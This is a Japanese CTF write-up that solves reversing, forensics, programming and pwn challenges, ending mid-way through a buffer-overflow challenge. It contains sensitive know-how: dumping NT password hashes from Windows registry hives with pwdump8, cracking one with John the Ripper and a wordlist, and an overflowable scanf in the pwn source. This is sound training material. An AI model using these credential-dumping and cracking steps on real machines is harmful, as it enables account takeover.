監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。手を動かして検証するというのは実に大事なことだ。

添付されたファイルを解析してフラグを入手してください。

Attachments: elf_71ea90b03d28c9cb5ab7346f8434f57d895917fa.zip

回答

添付ファイルを解凍すると、elf が得られる。file コマンドを実行すると data と言われる。そこで16進数ダンプしてみると以下のようになっていた。

$ xxd -g1 elf | head -n2
00000000: 58 58 58 58 02 01 01 00 00 00 00 00 00 00 00 00  XXXX............
00000010: 03 00 3e 00 01 00 00 00 50 10 00 00 00 00 00 00  ..>.....P.......

あからさまにマジックナンバーが潰されている。そこで、タイトルから ELF 形式の実行ファイルであると推測し、ELF のマジックナンバーで書き換えた。その後、再度 file コマンドを実行した。

$ file elf    
elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4f0f6e7df2d02645bb6387a08a099ddecb22b6f1, for GNU/Linux 3.2.0, stripped

今度こそ実行形式になった。これを実行するとフラグが得られた。

flag{run_makiba}

[120pts] Passcode (218 solves)

その部屋はまぶしいほどの明かりで照らされていた。ここからが本番だ。白衣の人物が書類に目を落としながらつぶやくように話している。結果がすべてという訳ではないが。そばにある端末が起動する。いい結果を期待している。

添付されたファイルを解析してフラグを得てください。

Attachments: passcode_604f5ee374c653752cebdeccb5c6e8ba77fffb1f.zip

回答

添付ファイルを解凍すると、passcode が得られる。file コマンドを実行すると ELF 形式の実行ファイルであることが分かった。

実行するとパスコードを求められる。何度か実行し 8桁のパスコードが必要だと分かった。

$ ./passcode
Enter the passcode: 12345678
Invalid passcode. Nice try.

GDB を起動し動的解析した。8桁の値を入力し比較処理の直前で処理を止めた。

 ► 0x555555555391    call   strcmp@plt <strcmp@plt>
        s1: 0x7fffffffdf60 ◂— '12345678'
        s2: 0x55555555607b ◂— '20150109'

これより、20150109 が正しそうだと分かった。実行してみる。

$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.

Flag is : flag{20150109}

flag{20150109}

[150pts] Passcode2 (109 solves)

予想以上の結果だった。今日もガラス越しに対象が目を覚ます。ここまでうまくいったことはかつてない。端末に今日のデータを送信する。今度こそうまくいくかもしれない。

添付されたファイルを解析してフラグを得てください。

Attachments: passcode2_63485b6dbddebfe346148aa5d5170e3468e24187.zip

回答

添付ファイルを解凍すると、passcode2 が得られる。file コマンドを実行すると ELF 形式の実行ファイルであることが分かった。

前の問題と同じように正しい文字数を確認したところ、11桁のパスコードが必要だと分かった。

$ ./passcode2
Enter the passcode: 1234567890a
Invalid passcode. Nice try.

また同様にGDB を起動し動的解析した。11桁の値を入力し比較処理の直前で処理を止めた。

   0x555555555415    xor    edx, 0x2a
 ► 0x555555555418    cmp    al, dl
   0x55555555541a    jne    0x555555555438 <0x555555555438>

比較処理の前に xor をしている部分があった。これはどこかから値を引き出しているので、その部分をメモリダンプした。

0x7fffffffdf34: 0x18    0x1f    0x04    0x79    0x4f    0x5a    0x04    0x18
0x7fffffffdf3c: 0x1a    0x1b    0x1e

これらの値に 0x2axor を取るとパスコードがわかり、それを基に再度実行した。

$ python3 -c 'print("".join(map(chr, [x^0x2a for x in (0x18, 0x1f, 0x04,0x79,0x4f,0x5a,0x04,0x18,0x1a,0x1b,0x1e)])))'
25.Sep.2014

$ ./passcode2
Enter the passcode: 25.Sep.2014
The passcode has been verified.

Flag is : flag{25.Sep.2014}

flag{25.Sep.2014}

[200pts] to_analyze (82 solves)

あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。今日の解析対象が画面に表示される。

添付されたファイルを解析してフラグを入手してください。
ファイルは「infected」というパスワード付き ZIP になっています。

Attachments: to_analyze_5c1d10c3a3b454f546eb804198dd3dcaac3070bf.zip

回答

添付ファイルを解凍すると、to_analyze.exe が得られる。

最初、単純にこの実行ファイルを x32dbg などでデバッグ実行したが、よくわからなかった。また Ghidra や IDA といったツールに渡しても、あまり有益な情報が得られなかった。

難読化処理が施されている可能性があると思い、パッカー検知ソフトの Detect it Easy を使用した。すると Dotfucator というツールで難読化されていたようだった。

Dotfucator の難読化解除ツールについて調べると、下記がヒットした。de4dot というツールがあるらしい。

このツールを使用し難読化は解除できたようだったが、Ghidra で読んでもまだ難しかった。

CTF の過去問などを調べていると、C# で書かれたバイナリに対しては優秀なデコンパイラがあることを知った。dnSpy というツールらしく、使ってみるとほぼ完璧なソースコードが得られた。

これを基に Python で書き直したところ、フラグが得られた。

def smethod0(b: int, i: int) -> int:
    if i == 114:
        return b ^ 40
    elif i == 39:
        return b ^ 19
    return b

def smethod1(b: int, i: int) -> bool:
    x = b
    if i != 119:
        if x not in (110, 119, 99, 111, 97, 101, 112, 103, 108, 107, 112):
            return x == 113
        else:
            return True
    elif x in (107, 117, 108, 102, 98):
        return True

    return False

def smethod2(s: str, b: bytes) -> None:
    arr = [9, 37, 48, 34, 41, 61, 199, 49, 220, 63, 115, 59, 220, 200, 46, 115, 57, 220, 214, 50, 53, 46, 47, 
37, 124, 62, 9]
    new = []
    for x in arr:
        x ^= b[12] ^ b[8] ^ b[3] ^ 35
        if smethod1(x, 113):
            x += 3
        x ^= 21
        x -= 32
        new.append(smethod0(x, 114))
    print(''.join(map(chr, new)))
     
arr = [65,127,89,80,182,160,183,182,89,118,119,116,177,189,177]
new = []

for x in arr:
    x ^= 35
    if smethod1(x, 119):
        x += 3
    x ^= 21
    x -= 32
    new.append(smethod0(x, 39))

s = ''.join(map(chr, new))
b = s.encode()
print(s)
smethod2(s, b)
$ python3 solver.py
C:\Users\321txt

flag{Do_y0u_Kn0w_Ursnif?}

flag{Do_y0u_Kn0w_Ursnif?}

Forensics

[50pts] paint_flag (289 solves)

要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。

添付されたファイルを解析し、フラグを入手してください。

Attachments: paint_flag_66405d0b15f3b138f4aa698adbf817e8c6c94f3d.zip

回答

添付ファイルを解凍すると、paint_flag.docx が得られる。Word で開くとフラグ文字列を含む画像の上にインクのようなものが塗られた編集が行われていた。

.docx の実態は zip ファイルなので、解凍して元の画像ファイルを抽出した。

flag.png

flag{What_m4tters_is_inside;)}

[50pts] Mail (219 solves)

あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。

添付されたファイルを解析し、フラグを得てください。

Attachments: mail_0805f895cca0c713b0fa499b1671d4948bae4172.zip

回答

添付ファイルを解凍すると、ImapMail というディレクトリ配下に .msf などの複数のファイルが生成される。見た感じ、Mbox 形式で保存されたメールのようだった。

Mbox 形式では、拡張子のないファイルの中にメールデータが保存されており、テキストエディタ等で見ることができる。この問題では ImapMail/mail.setodanote.net/Sent-1 の中に kimitsu.zip が含まれていた。

Content-Type: application/x-zip-compressed;
 name="kimitsu.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="kimitsu.zip"

UEsDBBQAAAAIAEKk8lIYGu97DhgHAG8YBwALAAAAZ29vZGpvYi5wbmdUumN3JUy0Rrtj27Zt
d2zbtp2OOrZt29xJdtSxbXfccdKxk/ueM8Yd99wPNVat9QNmzXqqolWUpJHg8eEBAACSrIyE
GgAAgQQAgOXAgv83GQzktfyvgLmrSYsBGmYJz/5rIK1FFUUBgOZEhA9TqP96OBcZXXcAAHno
fxbYmHOVBQDwXS4rIarhbXT5+eyusdZ1+vnn+2D1XWunN/PquCnPnZoGgvoEEToODILaOglS
(snip)

この Base64 文字列をデコードし kimitsu.zip を得て、解凍すると goodjob.png が得られた。

goodjob.png

flag{You've_clearly_done_a_good_job_there!!}

[80pts] Deletedfile (195 solves)

そのファイルを削除した瞬間にそれが誤りであることをあなたは悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。

添付されたファイルを解析し、フラグを得てください。

Attachments: deletedfile_f2fcbba8c095ca56d0886ea9f0694ff69852115c.zip

回答

添付ファイルを解凍すると、deletedfile.raw が得られる。

$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors

ディスクイメージっぽい。本来なら Autopsy などのフォレンジックツールに投げるのがよいのだろうが、うまくインストールできなかったので、ダメ元で binwalk を試した。

$ binwalk deletedfile.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
104448        0x19800         JPEG image data, JFIF standard 1.01
163840        0x28000         JPEG image data, JFIF standard 1.01

2つの JPEG ファイルが見える。foremost で抽出し表示したところ、00000204.jpg にフラグが記載されていた。

00000204.jpg

flag{nosce_te_ipsum}

[100pts] Timeline (135 solves)

君はタイムラインを知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。そういって老紳士は1枚のディスクを私に手渡すと、静かに去っていきました。どうやらディスクを解析する必要があるようです。

添付のファイルを解析し、フラグを入手してください。

Attachments: timeline_12296f199f1eb1c6d327a469af6b8e4fd8b83374.zip

回答

添付ファイルを解凍すると、C というディレクトリが作成され、深い階層に 3つのファイルがあった。

$ file C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/* C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db:     SQLite 3.x database, user version 27, last written using SQLite version 3025003
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm: data
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal: empty

このうち ActivitiesCache.db は SQLite のデータベースファイルだったため、DB Browser for SQLite を用いてデータを探索した。

ActivitiesCache テーブルか何かにメモ帳に対する入力が1文字ずつ記録されていた。

flag{Th3_Fu7Ure_1s_N0w}

[100pts] browser_db (183 solves)

調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。

添付されたファイルを解析し、フラグを得てください。

Attachments: browser_db_253a42ea34609f9dde41558c09190147c4107433.zip

回答

添付ファイルを解凍すると、stella_9s84jetw.default-release_places.sqlite が得られた。先程の Timeline と同様に SQLite ファイルだったため、同様に DB Browser for SQLite を用いてデータを探索した。

history か何かのテーブルを眺めていたら見つかった。

flag{goosegoosego}

[100pts] MFT (143 solves)

内部告発によりある要員が極秘情報をファイルサーバからダウンロードしていることが判明しました。組織は要員の身柄を抑え、端末から証拠となるデータを抽出しました。今回のあなたの仕事は、端末から抽出したデータを解析し、ダウンロードされた極秘情報のファイル名を特定することです。組織からは極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、ファイルサイズが 465030 であることのみが伝えられています。

添付ファイルを解析し、極秘情報のファイル名を特定してください。例えばファイル名が file.txt の場合は flag{file.txt} と回答してください。

Attachments: mft_3021019d9133398908795a3b0093228d6ffbaaf7.zip

回答

添付ファイルを解凍すると、C_$MFT が得られた。名前の通り MFT のようだが、どのようなツールを使ってフォレンジックすればよいかは分からなかった。(Autopsy はインストールできず使えなかった)

ヒントとして、ファイルサイズが 465030 であることが分かっている。この MFT の中ではどのようにファイルサイズを記録しているかが分かれば、問題が解けるのではないかと考えた。以下のサイトを参考にした。

これによると、ファイルサイズは 32bit のリトルエンディアンで記録されているっぽいことが読み取れた。そこで、465030 を 16進数に変換した 0x71886 をリトルエンディアンに変換して、86 18 07 00 を16進数ダンプした中から検索した。

その結果、goodjob.zipkimitsu.zip という名前が見える付近で見つかった。このうち後者が正解だった。

flag{kimitsu.zip}

[100pts] tkys_another_day (126 solves)

無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。あなたはファイルを詳しく解析することにしました。

添付されたファイルを解析し、フラグを入手してください。

Attachments: tkys_another_day_87aa17807fb66dc3e2158a1aaa82a793d6dee5f7.zip

回答

添付ファイルを解凍すると、tkys_another_day.png が得られた。Mac のプレビューでファイルを開くと、5つの画像が表示された。

それぞれフラグの断片が書いてあり、それらをつなぎ合わせると正解だった。(結局どうやって解くのが正解?)

open_in_mac.png

flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

[120pts] TITLE (25 solves)

仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、自宅のマンションにたどり着きます。ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。

件名:これが最後の警告だ

そのメールには画像が添付されていました。

添付されたファイルを解析し、フラグを得てください。

回答

添付ファイルを解凍すると、lo3rs1tkd.jpg が得られた。ちなみにこのファイル名はシュタインズ・ゲートの作中で登場したものらしい。問題を解く上では関係なかった。

lo3rs1tkd.jpg

最初、画面をよく見るとノイズが載っているように見えたため、StegOnline や AperiSolve 等のステガノ系問題だと思って進めていたが、一向にフラグに関する情報を得られなかった。また気付きとして、画像サイズの割にはファイルサイズが少し大きいのも気になっていたため、binwalk 等のコマンドも試したが、特に収穫はなかった。

ふと、画像を隅々まで拡大して眺めてみると、右下付近にひときわ大きいドットになっている部分があることに気付いた。さらによく見ると、一番下のピクセルは少し違う形になっており、画面外にデータが隠れているように見えた。そこでバイナリエディタを利用し、画面の高さを変更した。(03 b505 00 )

すると、次のようになった。

lo3rs1tkd-edited.jpg

下の方にさらにデータが続いており、右下付近に QRコードらしきものが映っていた。大変面倒だが、QRazyBox というサービスに一つずつ手打ちした。

すべて入れても QRコードリーダーでは読めないが、QRazyBox の Tools から Extract QR InformationReed-Solomon Decoder などを使用するとフラグが得られた。

QR version : 3 (29x29)
Error correction level : L
Mask pattern : 1

Number of missing bytes (erasures) : 14 bytes (20.00%)

Data blocks :
["01000010","00010110","01100110","11000110","00010110","01110111","10110101","10010011","00000111","01010101","11110110","10000011","01000111","01100110","01010101","11110111","01110011","00010111","01000110","11100110","01010111","00110111","00110110","01010110","01000101","11110111","01000011","00000011","00000101","11110110","11010111","01010110","00110110","10000111","11010000","11101100","00010001","11101100","00010001","11101100","00010001","11101100","00010001","11101100","00010001","11101100","00010001","11101100","00010001","11101100","00010001","1110011?","????????","???????0","00010001","11001110","01001001","01110001","11011100","????????","????????","????????","????????","????????","????????","????????","????????","????????","????????","????????"]

Final data bits :
01000010000101100110011011000110000101100111011110110101100100110000011101010101111101101000001101000111011001100101010111110111011100110001011101000110111001100101011100110111001101100101011001000101111101110100001100000011000001011111011011010111010101100011011010000111110100001110110000010001111011000001000111101100000100011110110000010001111011000001000111101100000100011110110000010001111011000001000100000000000000000000000000010001

[0100] [00100001] [011001100110110110001101100001011011001110110111101101001011001001001100000110111010101001011111011011010000010011010001101110110011011001010100101111101101110111001001100010110111010001101101110011011001010110111001101101110011011011001010110110010001001011111011011101000010011000000100110000010010111110110110110101101110101011011000110110110100001101111101000]
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 33
Decoded data : flag{Y0u_h4ve_w1tnessed_t00_much}

Final Decoded string : flag{Y0u_h4ve_w1tnessed_t00_much}

flag{Y0u_h4ve_w1tnessed_t00_much}

[150pts] CSIRT_asks_you_01 (99 solves)

組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。

今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。

フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアでつなげた形で答えてください。例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。

Attachments: csirt_asks_you_01_58f6cd661d82e80c83f48b7db0c19e5297f0f74f.zip

回答

添付ファイルを解凍すると、Security.evtx が得られる。Windows のイベントログファイルなので、Windows イベントビューアで開くと閲覧できる。

問題文から、特定すべきログは ログオンに成功したログ のうち、リモートからログインされたことを示すものと推測した。ログオンに成功したログは イベントID 4624 で示されており、ログオンタイプにどこからのログオンかを示す値が存在しているようだった。

これらのうち、ログオンタイプが 3 または 10 のものがリモートからのログオンだと考えられる。Windows イベントビューアでこのログオンタイプを使ったフィルターは設定できなかったため、Python の python-evtx というモジュールをインストールし、分析を行った。

from Evtx.Evtx import Evtx  # pip install python-evtx
from datetime import datetime

records = []
with Evtx('Security.evtx') as log:
    cnt = 0
    for rec in log.records():
        xml = rec.lxml()
        if xml.xpath('//event:EventID', namespaces={"event":"http://schemas.microsoft.com/win/2004/08/events/event"})[0].text == '4624':
            records.append(xml)
        cnt += 1
        print(f'\r[*] {cnt} items processed.', end='', flush=True)

print(f'.. Done. (hit {len(records)} items)')

logontypes = [x.xpath('//event:Data', namespaces={"event":"http://schemas.microsoft.com/win/2004/08/events/event"})[8].text for x in records]
idxs = [i for i in range(len(logontypes)) if logontypes[i] in ('3', '10')]

print('[*] Possible flags bellow')
for idx in idxs:
    time = records[idx].xpath('//event:TimeCreated', namespaces={"event":"http://schemas.microsoft.com/win/2004/08/events/event"})[0].get('SystemTime')
    dt = datetime.fromisoformat(time)
    f = dt.strftime('%Y/%m/%d_%H:%M:%S')
    print(f'flag{{{f}_4624}}')
$ python3 analyze.py
[*] 13876 items processed... Done. (hit 699 items)
[*] Possible flags bellow
flag{2021/07/17_21:50:40_4624}
flag{2021/07/17_21:50:41_4624}
flag{2021/07/17_21:50:42_4624}
flag{2021/07/18_20:09:21_4624}

当初、リモートからのインタラクティブなログオン (タイプ :10) が1通りしかなかったため、これが答えだと思いこんでいたが、違った。

改めて、2つの怪しい時間帯 (2021/7/17 21:50 付近、2021/7/18 20:09付近) のログを確認した。前述の通り前者は怪しいログではあるものの攻撃ではなかったようだ。一方、後者のログ付近では、イベントID 4625 のログオン失敗のログが大量に発生しており、その中に1つだけ成功のログがあるような有様だった。よってこれは総当りか辞書攻撃のようなものを受けたと推測でき、不正アクセスだった可能性が高い。

flag{2021/07/18_20:09:21_4624}

[150pts] unallocated_space (97 solves)

「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱をどさっとデスクに置きます。すべてある組織で使用されていたもので本来は破壊処理されるはずが、不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に出回ってしまったもののようです。今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。復元可能なデータがないか確認してください。

添付されたファイルを解析し、フラグを入手してください。

Attachments: unallocated_space_523ad57d33ed05a5c84325691b2c99b37f58be9c.zip

回答

添付ファイルを解凍すると、unallocated_space が得られる。

$ file unallocated_space                                               
unallocated_space: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x23303fcc

ディスクイメージのようだが、相変わらず正しく解くためのツールを知らないので、16進数ダンプを眺めていたところ 0x398000 付近で怪しいデータを発見した。

$ xxd -g1 unallocated_space
(snip)
 00398000: 00 00 00 20 66 74 79 70 69 73 6f 6d 00 00 02 00  ... ftypisom....
 00398010: 69 73 6f 6d 69 73 6f 32 61 76 63 31 6d 70 34 31  isomiso2avc1mp41
 00398020: 00 00 00 08 66 72 65 65 00 07 e1 4a 6d 64 61 74  ....free...Jmdat
 00398030: 00 00 02 f2 06 05 ff ff ee dc 45 e9 bd e6 d9 48  ..........E....H
 00398040: b7 96 2c d8 20 d9 23 ee ef 78 32 36 34 20 2d 20  ..,. .#..x264 - 
 00398050: 63 6f 72 65 20 31 36 31 20 72 33 30 32 30 20 64  core 161 r3020 d
 00398060: 31 39 38 39 33 31 20 2d 20 48 2e 32 36 34 2f 4d  198931 - H.264/M
 00398070: 50 45 47 2d 34 20 41 56 43 20 63 6f 64 65 63 20  PEG-4 AVC codec 
 00398080: 2d 20 43 6f 70 79 6c 65 66 74 20 32 30 30 33 2d  - Copyleft 2003-

x264 というあたりが引っかかった。このあたりのマジックナンバーをググったところ、.mp4 ファイルのようだと分かった。

続いて mp4 ファイルの構造について調べると、末尾は meta という部分が配置されているらしいと分かったので、検索した。

 004aaa90: 00 00 00 5a 6d 65 74 61 00 00 00 00 00 00 00 21  ...Zmeta.......!
 004aaaa0: 68 64 6c 72 00 00 00 00 00 00 00 00 6d 64 69 72  hdlr........mdir
 004aaab0: 61 70 70 6c 00 00 00 00 00 00 00 00 00 00 00 00  appl............
 004aaac0: 2d 69 6c 73 74 00 00 00 25 a9 74 6f 6f 00 00 00  -ilst...%.too...
 004aaad0: 1d 64 61 74 61 00 00 00 01 00 00 00 00 4c 61 76  .data........Lav
 004aaae0: 66 35 38 2e 32 39 2e 31 30 30 00 00 00 00 00 00  f58.29.100......
 004aaaf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

すると 0x4aaa90 付近で見つかり、0x4aaaf0 付近が末尾になりそうだと分かった。そこで、このファイルを抽出してみた。

$ tail -c+$((0x398001)) unallocated_space | head -c $((0x4aaaf0-0x398000)) > out.mp4

$ file out.mp4
out.mp4: ISO Media, MP4 Base Media v1 [IS0 14496-12:2003]

抽出した .mp4 のデータを再生すると、42秒ほどの動画だった。30秒くらいの場面でフラグが表示されていた。

flag{file_carving_gogo}

[200pts] CSIRT_asks_you_02 (62 solves)

組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。

一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。

フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。

Attachments: csirt_asks_you_02_efe7331ca21b21725da73405987bc9c9ad0d6787.zip

回答

添付ファイルを解凍すると、以下のファイルが得られる。

$ file *
SAM:           MS Windows registry file, NT/2000 or above
SAM.LOG1:      MS Windows registry file, NT/2000 or above
SAM.LOG2:      MS Windows registry file, NT/2000 or above
SECURITY:      MS Windows registry file, NT/2000 or above
SECURITY.LOG1: MS Windows registry file, NT/2000 or above
SECURITY.LOG2: empty
SYSTEM:        MS Windows registry file, NT/2000 or above
SYSTEM.LOG1:   MS Windows registry file, NT/2000 or above
SYSTEM.LOG2:   MS Windows registry file, NT/2000 or above

Windows のレジストリファイルのようだった。問題文より「あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。」とあるため、パスワードハッシュを抽出し、JohnTheRipper 等のツールで解析すればよいとわかる。

使用されているOS が Windows 7 なのか Windows 10 なのかは分からなかったが、いずれにしても与えられたファイルからパスワードハッシュを抽出できるツールを探す必要がある。しばらくググったところ、下記のサイトを発見した。

これによると pwdump8.exe というツールが存在しているらしいと知った。このツールをダウンロードし実行すると、ハッシュ値を得ることができた。

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540
stella:1001:AAD3B435B51404EEAAD3B435B51404EE:2F8AE2E260D0CFE3756FF53E639E3377
test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8
akari:1003:AAD3B435B51404EEAAD3B435B51404EE:B66EADE488CE2C23BA226427E40FED41

これらのうち、前の問題で不正にログインされていたアカウントは test であったため、test に絞ってパスワードクラックを実施した。なお辞書ファイルには rockyou.txt を用いた。

$ john -wordlist:rockyou.txt -format:nt -users:test hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
testtest         (test)     
1g 0:00:00:00 DONE (2021-08-23 07:12) 33.33g/s 1523Kp/s 1523Kc/s 1523KC/s awawaw..tamika1
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed. 

これにより、testtest がパスワードだと分かった。

flag{test_testtest}

Programming

[80pts] ZZZIPPP (263 solves)

あなたはあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルのようで、その中に組織にとって重要な機密情報が入っているようです。

添付されたファイルを解析してフラグを入手してください。

Attachments: zzzippp_b24c7d0e3360b7e7789e9ee93b037aacf8798cfa.zip

回答

添付ファイルを解凍すると、flag1000.zip が得られる。試しに flag1000.zip を展開すると flag999.zip が得られた。

ジャンルが Programming なので、解凍作業を自動化すればよい。ShellScript を書いた。

#!/bin/bash

while [ -e *.zip ]; do
  ZIP=$(basename *.zip)
  unzip $ZIP
  rm -f $ZIP
done

しばらく待つと flag.txt が作成される。そこにフラグが書いてあった。

flag{loop-zip-1989-zip-loop}

[120pts] echo_me (147 solves)

山登りが趣味だという同僚が疲れた様子で話しかけてきます。山でヤッホーと声を出せば、いつでもヤッホーと返ってくる。そんなあたりまえを支えるやまびこさんの気持ちって、どんな感じなんでしょうね。その眼には若干の狂気が宿っているようにも思えました。あなたは同僚を狂気から救うため、解析作業を手伝うことにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

回答

Webshell で指定された接続先へアクセスすると、以下のようになった。

user@33ab04f6ba2b:~$ nc 10.1.1.10 12020
==========
echo me: 89840289
==========
89840289
Correct!

==========
echo me: 39927130
==========
121
Incorrect! Nice try! 

指定された値をそのまま返せば良いようだ。普段は pwntools を使ってこういった問題を解くが、この Webshell 環境で入っているのか確認した。

user@33ab04f6ba2b:~$ python3 -c 'from pwn import *; print(remote)'
<class 'pwnlib.tubes.remote.remote'>

ちゃんと入っていた。素晴らしい。あとは普段どおりに書いて、Python3 の Interactive shell で実行すればよい。

from pwn import *

p = remote('10.1.1.10', 12020)

try:
  while 1:
    p.recvuntil(b': ', timeout=3)
    echo = p.recvline().strip()
    p.sendlineafter(b'=\n', echo)
except:
  p.interactive()    

flag{Hellow_yamabiko_Yoo-hoo!}

[150pts] EZZZIPPP (180 solves)

あなたは再びあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルですが、今度は鍵までかかっているようです。ファイルを解析し中に封じ込められている機密情報を取得してください。

ファイルを解析してフラグを入手してください。

Attachments: ezzzippp_4b932e0039aa6e35ee45868c3bc1ee392eea64fb.zip

回答

添付ファイルを解凍すると、flag1000.zippass.txt が得られる。試しに flag1000.zip の解凍を試みるとパスワードを要求され、pass.txt の内容を入力すると flag999.zippass.txt が解凍された。

パスワードが追加されただけで、やることは ZZZIPPP と変わらない。こちらも ShellScript を書いた。

#!/bin/bash

while [ -e *.zip ]; do
  ZIP=$(basename *.zip)
  PW=$(basename pass*)
  unzip -P $(cat $PW) -o $ZIP
  rm -f $ZIP
done

なお、強制的に上書きしてほしいので、unzip コマンドに -o のオプションを付けている。こちらも同様に flag.txt が生成され、中にフラグが書いてあった。

flag{bdf574f15645df736df13daef06128b8}

[250pts] deep_thought (140 solves)

計算勝負をしましょう。普段は寡黙に働き続けているサーバが不意に話しかけてきました。あなたは珍しいこともあるものだと思いつつも、そのサーバからの挑戦を受けることにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12010

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

回答

Webshell で指定された接続先へアクセスすると、以下のようになった。

user@33ab04f6ba2b:~$ nc 10.1.1.10 12010
[ Q1 ]
5 + 5
10
Correct!

[ Q2 ]
7 + 7
13
Incorrect! Nice try! 

今度は計算した結果を返せばいいらしい。echo_me とたいしてやることは変わらない。

from pwn import *

p = remote('10.1.1.10', 12010)

try:
  while 1:
    p.recvuntil(b']\n', timeout=3)
    formula = p.recvline().strip().decode()
    p.sendline(str(eval(formula)).encode())
except:
  p.interactive()    

flag{__42__}

Pwn

[100pts] tkys_let_die (227 solves)

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

回答

添付ファイルを解凍すると、gategate.c が得られた。gate.c の重要なポイントは以下の通り。

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
		// (snip)
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
